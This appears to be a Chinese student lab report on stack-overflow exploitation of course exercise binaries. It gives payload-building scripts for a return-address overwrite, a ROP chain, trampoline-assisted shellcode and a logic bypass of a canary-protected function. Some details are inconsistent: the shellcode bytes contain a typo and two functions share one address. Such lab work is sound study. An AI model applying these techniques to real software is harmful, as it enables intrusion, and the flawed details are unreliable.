

# 栈溢出攻击实验

## 题目解决思路

### Problem 1:

- 分析：

- 漏洞定位：** 通过反汇编代码发现 `func` 函数中使用了 `strcpy` 将用户输入复制到栈上的缓冲区，且没有进行长度检查，存在栈溢出漏洞。
- 栈结构分析：** 缓冲区位于 `%rbp - 0x8`，而函数的返回地址位于 `%rbp + 0x8`。因此，需要填充 8字节（Buffer）+ 8字节（Saved RBP）= 16字节的Padding才能触及返回地址。
- 攻击目标：** 覆盖返回地址为 `func1` 的入口地址 `0x401216`，使得 `func` 返回时直接跳转执行 `func1` 输出Flag。
- 保护机制：** 该题未开启NX保护，也无Canary，是最基础的栈溢出。

- 解决方案：

- 利用Python脚本生成payload，构造16字节垃圾数据加上目标地址。

```

import struct

# 确定Padding长度
# 缓冲区从rbp-0x8开始, 返回地址在rbp+0x8
# 距离 = 8(local buffer) + 8(saved rbp) = 16字节
padding_len = 16
padding = b'A' * padding_len

# 确定目标跳转地址 (func1 的地址)
# 根据汇编: 0000000000401216 <func1>
target_address = 0x401216

# 将地址打包成64位小端序
# '<Q'代表 little-endian unsigned long long (8 bytes)
func1_addr = struct.pack('<Q', target_address)

# 拼接Payload
payload = padding + func1_addr

# 写入文件
with open("ans1.txt", "wb") as f:
    f.write(payload)
    print(f"Payload generated: {len(payload)} bytes written to ans1.txt")
    print(f"Padding: {padding_len} bytes")
    print(f"Target Addr: {hex(target_address)}")

```

- 结果:

## Problem 2:

- 分析:

- 保护机制:** 题目开启了NX(No-Execute)保护, 意味着栈上的数据不可执行, 不能直接写入Shellcode。必须使用ROP(Return Oriented Programming)技术。
- 攻击目标:** 调用 func2 ( 0x401216 ), 且要求第一个参数 %rdi 必须为 0x3f8。
- Gadget 寻找:** 在反汇编中找到 pop\_rdi 函数 ( 0x4012c7 ), 包含 pop %rdi; ret 指令。利用该 Gadget 可以将栈上的数据弹入 %rdi 寄存器。
- Payload 构造:** Padding(16B) -> pop\_rdi地址 -> 参数0x3f8 -> func2地址。

- 解决方案:

```

import struct

# Padding 长度
# Buffer(rbp-8)到RetAddr(rbp+8)的距离是16字节
padding_len = 16
padding = b'A' * padding_len

# 构造 ROP 链
# Gadget: pop rdi; ret
pop_rdi_ret_addr = 0x4012c7

# 参数: func2要求参数为0x3f8
arg1 = 0x3f8

# 目标函数:func2
func2_addr = 0x401216

# 打包 Payload
# 栈结构: [Padding] + [pop_rdi_addr] + [0x3f8] + [func2_addr]
payload = padding
payload += struct.pack('<Q', pop_rdi_ret_addr) # 覆盖原本的返回地址
payload += struct.pack('<Q', arg1) # 这个值会被pop到rdi寄存器中
payload += struct.pack('<Q', func2_addr) # pop rdi后的ret会跳到这里

# 写入文件
with open("ans2.txt", "wb") as f:
    f.write(payload)
    print(f"Payload generated: {len(payload)} bytes written to ans2.txt")

```

- 结果:

## Problem 3:

- 分析:

- 难点:** 缓冲区非常小（32字节），溢出空间不足以存放完整的ROP链。但栈是可执行的。
- 特殊机制:** 发现 `jmp_xs(0x401334)` 函数，它会跳转到 `saved_rsp + 0x10` 的位置。经过计算，`saved_rsp + 0x10` 正好指向我们输入缓冲区的起始位置。
- 攻击策略:** 利用Shellcode配合Trampoline（跳板）。
  - 将执行 `func1(0x72)` 的汇编机器码放在缓冲区开头。
  - 将返回地址覆盖为 `jmp_xs` 的地址。
  - 函数返回时跳到 `jmp_xs`，`jmp_xs` 再跳回栈顶执行Shellcode。
- Shellcode编写:** `mov rdi, 0x72; mov rax, 0x401216; call rax`。

- 解决方案:

```

import struct

# 构造 Shellcode
# 功能: 执行 func1(0x72)
# 机器码对应汇编:
# bf 72 00 00 00      mov    edi, 0x72
# 48 c7 c0 16 12 40 00  mov    rax, 0x401216 (func1 addr)
# ff d0              call   rax
shellcode = b'\xbfb\x72\x00\x00\x00\x48\xc7\xc0\x16\x12\x40\x00\xff\xd0'

# 计算 Padding
# 缓冲区总大小是32字节, 减去Shellcode的长度
buffer_size = 32
padding_len = buffer_size - len(shellcode)
padding = b'A' * padding_len

# 覆盖 Saved RBP (8字节)
rbp_padding = b'B' * 8

# 覆盖 Return Address
# 跳转到 jmp_xs (Trampoline), 它会将执行流带回栈上的Shellcode
jmp_xs_addr = 0x401334
ret_addr = struct.pack('<Q', jmp_xs_addr)

# 组合 Payload
# [Shellcode] + [Padding] + [Saved RBP] + [jmp_xs]
payload = shellcode + padding + rbp_padding + ret_addr

# 写入文件
with open("ans3.txt", "wb") as f:
    f.write(payload)
    print(f"Payload generated: {len(payload)} bytes. Shellcode size: {len(shellcode)}")

```

- 结果:

## Problem 4:

- 分析:

- Canary 保护:** 汇编中出现了 \_\_stack\_chk\_fail , 说明开启了Stack Canary保护。如果在函数返回前检测到栈上的Canary值被修改（例如被溢出覆盖），程序会直接崩溃。因此无法使用传统的覆盖返回地址的方法。
- 代码逻辑审计:** 这道题其实是一道逆向逻辑题。分析 func 函数发现存在一个特定的输入检查路径。
- 关键逻辑:**

- 程序将输入值 (unsigned int) 与 `0xfffffffffe` 比较。
- 进入一个极大次数的循环，将输入值不断减1。
- 最终检查：如果 `(输入值 - 0xfffffffffe) == 1` 且 原始输入 == `0xffffffffff (-1)`，则调用 `func1`。

iv. **解法：** 输入 `-1`。因为 `-1` 在无符号数看来是最大值，满足循环条件，且经过计算后满足最终校验。

#### • 解决方案：

- 无需二进制溢出，只需构造符合程序读取流程的输入文本。

```
# 第一次scanf (main函数开头)
# 用于凯撒解密演示1, 内容不重要
payload = b'hello\n'

# 第二次scanf
# 用于凯撒解密演示2, 内容不重要
payload += b'world\n'

# 第三次scanf(进入func)
# 这是关键：输入-1(即unsigned int的0xffffffff)
# 程序会进行大量的循环计算，最终验证通过
payload += b'-1\n'

with open("ans4.txt", "wb") as f:
    f.write(payload)
    print("Payload generated for Problem 4.")
```

#### • 结果：

## 思考与总结

- 本次实验通过四个层层递进的题目，使我深入理解了二进制程序中的典型漏洞及其利用方式：
- 基础栈溢出：** 我理解了函数调用栈的布局 (Buffer, Saved RBP, Return Address)，学会了通过覆盖返回地址控制程序流。
  - 对抗 NX 保护：** 我理解了当栈不可执行时，传统的Shellcode失效。这时可以通过利用程序自身的代码片段 (Gadgets) 构造ROP链，实现了在不执行栈上代码的情况下完成参数传递和函数调用。
  - 受限空间与栈迁移：** 在溢出空间不足以放下ROP链时，我学会了分析程序中的特殊跳转指令 (如 `jmp_xs`)，利用“跳板”技术将执行流劫持回栈上的Shellcode，实现了Stack Pivoting的一种变体。
  - 对抗 Canary 保护：** 当Stack Canary封堵了溢出路径时，攻击思路转向了程序逻辑漏洞。这证明了安全不仅仅是内存破坏，业务逻辑 (如整数溢出、边界条件判断) 的缺陷同样会导致致命的安全问题。

# 参考资料

列出在准备报告过程中参考的所有文献、网站或其他资源，确保引用格式正确。